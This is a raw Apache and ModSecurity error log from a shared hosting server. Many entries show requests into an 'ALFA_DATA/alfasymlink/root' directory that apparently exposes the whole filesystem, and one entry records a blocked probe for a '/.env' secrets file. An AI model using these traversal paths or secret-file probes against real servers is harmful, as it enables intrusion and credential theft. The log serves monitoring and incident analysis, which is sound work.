[Sat Oct 24 16:43:26.654800 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 85.208.96.198:17784] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:43:30.220828 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 98.83.94.113:32283] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:43:38.654833 2026] [core:error] [pid 2693039:tid 2693039] (13)Permission denied: [client 85.208.96.200:35582] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/firmware/acpi/tables/FACS
[Sat Oct 24 16:43:54.153828 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 54.156.248.117:6256] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:43:58.154703 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 3.224.215.150:19734] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:44:06.156134 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 54.152.163.42:14090] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:44:10.144313 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 3.93.253.174:6141] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:44:27.255878 2026] [core:error] [pid 2692918:tid 2692918] (13)Permission denied: [client 185.191.171.4:63146] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip6_mrt_cache/object_size
[Sat Oct 24 16:44:30.268780 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 52.205.141.124:51791] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:44:34.152548 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 18.204.89.56:42084] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:44:35.258647 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 185.191.171.10:16876] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:44:38.220399 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 54.147.182.90:48065] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:44:50.350621 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 52.6.232.201:1037] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:45:10.156178 2026] [ssl:error] [pid 2692917:tid 2692917] (5)Input/output error: [client 52.2.58.41:35642] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:45:14.321429 2026] [core:error] [pid 2693035:tid 2693035] (13)Permission denied: [client 100.29.155.89:38229] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/wakeup/wakeup0/device/physical_node/subsystem/drivers_probe
[Sat Oct 24 16:45:22.215161 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 184.73.167.217:33520] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:45:26.207029 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 34.196.237.236:40222] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:45:30.157653 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 3.222.85.38:39785] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:45:38.245926 2026] [core:error] [pid 2692979:tid 2692979] (13)Permission denied: [client 44.218.6.93:63157] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/PNP0A03:00/wakeup/wakeup7/device/device:03/physical_node/subsystem/drivers/ata_generic/module/uevent
[Sat Oct 24 16:45:50.289737 2026] [ssl:error] [pid 2692917:tid 2692917] (70014)End of file found: [client 18.214.186.220:41580] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:45:54.234117 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 98.84.60.17:56244] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:46:02.266732 2026] [core:error] [pid 2693020:tid 2693020] (13)Permission denied: [client 44.210.204.255:46980] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:03/physical_node/subsystem/drivers/uhci_hcd/uevent
[Sat Oct 24 16:46:06.367900 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 23.21.227.240:49095] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:46:20.983239 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 185.191.171.14:12272] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:46:21.054968 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 185.191.171.14:12284] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:46:22.247303 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 34.197.28.78:11255] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:46:38.277539 2026] [ssl:error] [pid 2693039:tid 2693039] (70014)End of file found: [client 34.233.219.155:11668] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:46:45.464650 2026] [core:error] [pid 2693035:tid 2693035] (13)Permission denied: [client 85.208.96.201:10296] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fasync_cache/store_user
[Sat Oct 24 16:46:46.209426 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 34.235.239.240:46175] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:46:50.145771 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 35.153.86.200:24841] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:46:54.138965 2026] [ssl:error] [pid 2677776:tid 2677776] (5)Input/output error: [client 3.93.98.99:9771] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:47:01.979492 2026] [core:error] [pid 2693017:tid 2693017] (13)Permission denied: [client 85.208.96.198:37152] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/xfrm_state/free_calls
[Sat Oct 24 16:47:18.310915 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 54.91.122.193:48391] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:47:26.163540 2026] [core:error] [pid 2693034:tid 2693034] (13)Permission denied: [client 44.206.65.8:50956] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/device:05/wakeup/wakeup5/device/physical_node/driver/0000:00:03.0/subsystem/drivers/pcieport/bind
[Sat Oct 24 16:47:30.177217 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 44.193.115.232:17610] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:47:34.240944 2026] [ssl:error] [pid 2693017:tid 2693017] (5)Input/output error: [client 107.20.181.148:61886] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:47:37.503698 2026] [core:error] [pid 2692917:tid 2692917] (13)Permission denied: [client 185.191.171.12:27954] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/file_lock_cache/free_calls
[Sat Oct 24 16:47:39.170838 2026] [core:error] [pid 2684583:tid 2684583] (13)Permission denied: [client 85.208.96.207:33732] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-192/hwcache_align
[Sat Oct 24 16:47:41.059120 2026] [core:error] [pid 2692918:tid 2692918] (13)Permission denied: [client 185.191.171.16:22032] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kernfs_node_cache/order
[Sat Oct 24 16:47:42.175332 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 52.203.65.83:62155] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:47:46.449342 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 23.23.103.31:53560] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:47:54.137498 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 3.89.176.255:52896] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:47:58.311730 2026] [core:error] [pid 2693017:tid 2693017] (13)Permission denied: [client 34.199.252.22:5803] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/device:04/physical_node/driver/0000:00:04.0/subsystem/drivers/ata_piix/module/drivers/pci:ata_piix/new_id
[Sat Oct 24 16:48:02.236209 2026] [ssl:error] [pid 2693039:tid 2693039] (70014)End of file found: [client 3.229.2.217:27872] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:48:06.265240 2026] [core:error] [pid 2693035:tid 2693035] (13)Permission denied: [client 18.232.12.157:64309] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/kernel/slab/dmaengine-unmap-16/object_size
[Sat Oct 24 16:48:10.312185 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 54.91.122.193:44651] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:48:14.163906 2026] [core:error] [pid 2692918:tid 2692918] (13)Permission denied: [client 54.156.248.117:21044] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.2/subsystem/devices/0000:00:04.0/remove
[Sat Oct 24 16:48:30.284032 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 34.234.200.207:5135] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:48:33.576237 2026] [authz_core:error] [pid 2693039:tid 2693039] [client 147.185.133.54:58746] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 16:48:34.216731 2026] [ssl:error] [pid 2692917:tid 2692917] (70014)End of file found: [client 54.235.191.179:51798] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:48:42.189911 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 52.45.15.233:44828] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:48:47.814285 2026] [core:error] [pid 2693034:tid 2693034] (13)Permission denied: [client 185.191.171.6:34988] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/audit_tree_mark/order
[Sat Oct 24 16:48:54.145817 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 107.20.255.194:53427] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:48:57.104032 2026] [security2:error] [pid 2692917:tid 2692917] [client 130.12.180.171:36940] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "server.sherwinpinturas.com"] [uri "/.env"] [unique_id "at0ZubbQ4HMkj2Xm_OsaagAAAAk"]
[Sat Oct 24 16:48:57.104326 2026] [security2:error] [pid 2692917:tid 2692917] [client 130.12.180.171:36940] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "server.sherwinpinturas.com"] [uri "/.env"] [unique_id "at0ZubbQ4HMkj2Xm_OsaagAAAAk"]
[Sat Oct 24 16:48:57.104660 2026] [security2:error] [pid 2692917:tid 2692917] [client 130.12.180.171:36940] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "server.sherwinpinturas.com"] [uri "/.env"] [unique_id "at0ZubbQ4HMkj2Xm_OsaagAAAAk"]
[Sat Oct 24 16:49:16.523027 2026] [core:error] [pid 2693017:tid 2693017] (13)Permission denied: [client 185.191.171.4:15456] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-256/aliases
[Sat Oct 24 16:49:18.263535 2026] [ssl:error] [pid 2693039:tid 2693039] (70014)End of file found: [client 100.29.160.53:25398] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:49:30.326561 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 54.204.12.115:33636] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:49:42.341380 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 44.213.36.21:26493] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:49:57.457266 2026] [core:error] [pid 2692917:tid 2692917] (13)Permission denied: [client 85.208.96.197:31022] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_free_data/shrink
[Sat Oct 24 16:50:14.305563 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 54.83.23.103:56396] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:50:18.210377 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 34.206.193.60:31152] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:50:20.297871 2026] [core:error] [pid 2693017:tid 2693017] (13)Permission denied: [client 185.191.171.9:41472] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/files_cache/alloc_calls
[Sat Oct 24 16:50:23.195927 2026] [security2:error] [pid 2692917:tid 2692917] [client 185.191.171.15:50028] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib/firmware/netronome/bpf/nic_AMDA0058-0011_2x40.nffw"] [unique_id "at0aD7bQ4HMkj2Xm_OsabQAAAAk"]
[Sat Oct 24 16:50:23.196003 2026] [security2:error] [pid 2692917:tid 2692917] [client 185.191.171.15:50028] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib/firmware/netronome/bpf/nic_AMDA0058-0011_2x40.nffw"] [unique_id "at0aD7bQ4HMkj2Xm_OsabQAAAAk"]
[Sat Oct 24 16:50:26.318714 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 54.221.203.24:6533] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:50:29.899248 2026] [security2:error] [pid 2684583:tid 2684583] [client 216.244.66.250:43540] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/node_modules/puppeteer-core/src/injected/PQuerySelector.ts"] [unique_id "at0aFT8oejtZfsaip1Yl-AAAABE"]
[Sat Oct 24 16:50:29.899301 2026] [security2:error] [pid 2684583:tid 2684583] [client 216.244.66.250:43540] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/node_modules/puppeteer-core/src/injected/PQuerySelector.ts"] [unique_id "at0aFT8oejtZfsaip1Yl-AAAABE"]
[Sat Oct 24 16:50:30.181539 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 23.21.250.48:63451] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:50:34.219446 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 54.210.152.179:25780] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:50:42.956114 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 3.220.148.166:45649] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:50:46.381332 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 34.195.248.30:31999] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:50:54.382929 2026] [ssl:error] [pid 2684583:tid 2684583] (5)Input/output error: [client 54.235.158.162:33258] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:51:06.363073 2026] [ssl:error] [pid 2692917:tid 2692917] (70014)End of file found: [client 18.214.124.6:5972] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:51:18.907785 2026] [core:error] [pid 2693020:tid 2693020] (13)Permission denied: [client 85.208.96.193:12086] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-1k/slab_size
[Sat Oct 24 16:51:22.186500 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 34.205.170.13:46342] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:51:34.154557 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 54.210.155.69:49181] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:51:40.154655 2026] [core:error] [pid 2693035:tid 2693035] (13)Permission denied: [client 85.208.96.207:17530] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/failover/sections/__kcrctab_gpl
[Sat Oct 24 16:51:42.139302 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 98.83.226.125:47679] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:51:54.196000 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 23.21.250.48:62897] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:51:58.186812 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 54.157.84.74:10754] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:52:02.300997 2026] [core:error] [pid 2693039:tid 2693039] (13)Permission denied: [client 52.204.174.139:1475] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:01/PNP0501:01/subsystem/drivers/hardware_error_device/uevent
[Sat Oct 24 16:52:10.263078 2026] [core:error] [pid 2684583:tid 2684583] (13)Permission denied: [client 52.70.123.241:37242] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:01/PNP0501:01/subsystem/drivers/pvpanic/bind
[Sat Oct 24 16:52:18.296580 2026] [core:error] [pid 2693020:tid 2693020] (13)Permission denied: [client 3.214.176.44:58000] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/device:11/subsystem/drivers/ec/bind
[Sat Oct 24 16:52:30.246787 2026] [core:error] [pid 2692979:tid 2692979] (13)Permission denied: [client 34.195.60.66:27951] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/tty1/subsystem/tty50/subsystem/ttyS1/iomem_reg_shift
[Sat Oct 24 16:52:34.147032 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 100.27.153.9:4000] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:52:38.124055 2026] [ssl:error] [pid 2693039:tid 2693039] (70014)End of file found: [client 34.204.150.196:59342] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:52:42.185166 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 3.224.215.150:41197] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:52:58.216053 2026] [core:error] [pid 2693034:tid 2693034] (13)Permission denied: [client 98.84.60.17:56518] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:01.1/subsystem/drivers/virtio-pci/0000:00:05.0/subsystem/devices/0000:00:03.0/resource1
[Sat Oct 24 16:53:02.260041 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 54.243.63.52:13922] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:53:06.207945 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 44.217.255.167:26869] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:53:08.558507 2026] [ssl:error] [pid 2693039:tid 2693039] (70014)End of file found: [client 85.208.96.212:40648] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:53:14.133498 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 54.197.114.76:41185] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:53:18.268168 2026] [core:error] [pid 2693034:tid 2693034] (13)Permission denied: [client 54.235.172.108:43271] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:03/physical_node/subsystem/drivers/ata_generic/unbind
[Sat Oct 24 16:53:24.727203 2026] [core:crit] [pid 2693035:tid 2693035] (13)Permission denied: [client 216.244.66.250:60694] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/1489/fd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/1489/fd/' is executable
[Sat Oct 24 16:53:24.727296 2026] [core:crit] [pid 2693035:tid 2693035] (13)Permission denied: [client 216.244.66.250:60694] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/1489/map_files/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/1489/map_files/' is executable
[Sat Oct 24 16:53:24.727327 2026] [core:crit] [pid 2693035:tid 2693035] (13)Permission denied: [client 216.244.66.250:60694] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/1489/fdinfo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/1489/fdinfo/' is executable
[Sat Oct 24 16:53:29.242308 2026] [authz_core:error] [pid 2693034:tid 2693034] [client 45.156.87.184:43096] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 16:53:30.235842 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 54.86.59.155:39250] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:53:34.387873 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 34.236.41.241:60618] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:53:42.233343 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 100.28.49.152:37180] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:53:50.229036 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 18.214.138.148:23016] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:53:50.399443 2026] [core:crit] [pid 2692917:tid 2692917] (13)Permission denied: [client 216.244.66.250:42604] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/spool/at/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/spool/at/' is executable
[Sat Oct 24 16:53:50.399494 2026] [core:crit] [pid 2692917:tid 2692917] (13)Permission denied: [client 216.244.66.250:42604] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/spool/cron/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/spool/cron/' is executable
[Sat Oct 24 16:53:50.439558 2026] [core:crit] [pid 2692917:tid 2692917] (13)Permission denied: [client 216.244.66.250:42604] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/spool/up2date/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/spool/up2date/' is executable
[Sat Oct 24 16:53:54.179822 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 34.224.132.215:7545] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:53:58.200423 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 3.89.170.186:51819] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:54:02.281807 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 18.215.24.66:55760] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:54:10.153499 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 52.44.174.136:37934] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:54:14.168881 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 34.225.87.80:19911] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:54:18.312012 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 185.191.171.9:54852] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:54:26.254884 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 100.27.153.9:33633] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:54:30.197478 2026] [ssl:error] [pid 2677776:tid 2677776] (5)Input/output error: [client 52.2.191.202:63497] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:54:34.218416 2026] [ssl:error] [pid 2693035:tid 2693035] (5)Input/output error: [client 3.221.222.168:46287] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:54:38.503031 2026] [core:error] [pid 2692979:tid 2692979] (13)Permission denied: [client 52.22.87.224:52360] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory11/node0/cpu1/node0/cpu1/firmware_node/physical_node/crash_notes
[Sat Oct 24 16:54:46.214039 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 18.214.186.220:25421] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:54:48.676554 2026] [core:error] [pid 2693020:tid 2693020] (13)Permission denied: [client 185.191.171.12:55482] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_io_end/cpu_partial
[Sat Oct 24 16:55:18.148311 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 54.80.73.122:18947] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:55:22.139084 2026] [ssl:error] [pid 2692917:tid 2692917] (70014)End of file found: [client 3.211.181.86:46885] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:55:29.980832 2026] [core:error] [pid 2693034:tid 2693034] (13)Permission denied: [client 16.216.88.120:8192] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sbin/modsec-sdbm-util
[Sat Oct 24 16:55:30.134058 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 52.5.232.250:7047] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:55:34.130466 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 3.219.80.71:57244] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:55:38.320254 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 18.214.238.178:51041] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:55:46.148216 2026] [ssl:error] [pid 2693039:tid 2693039] (70014)End of file found: [client 100.27.153.9:46184] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:55:56.627597 2026] [core:error] [pid 2693039:tid 2693039] (13)Permission denied: [client 185.191.171.16:58330] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bfq_io_cq/cpu_slabs
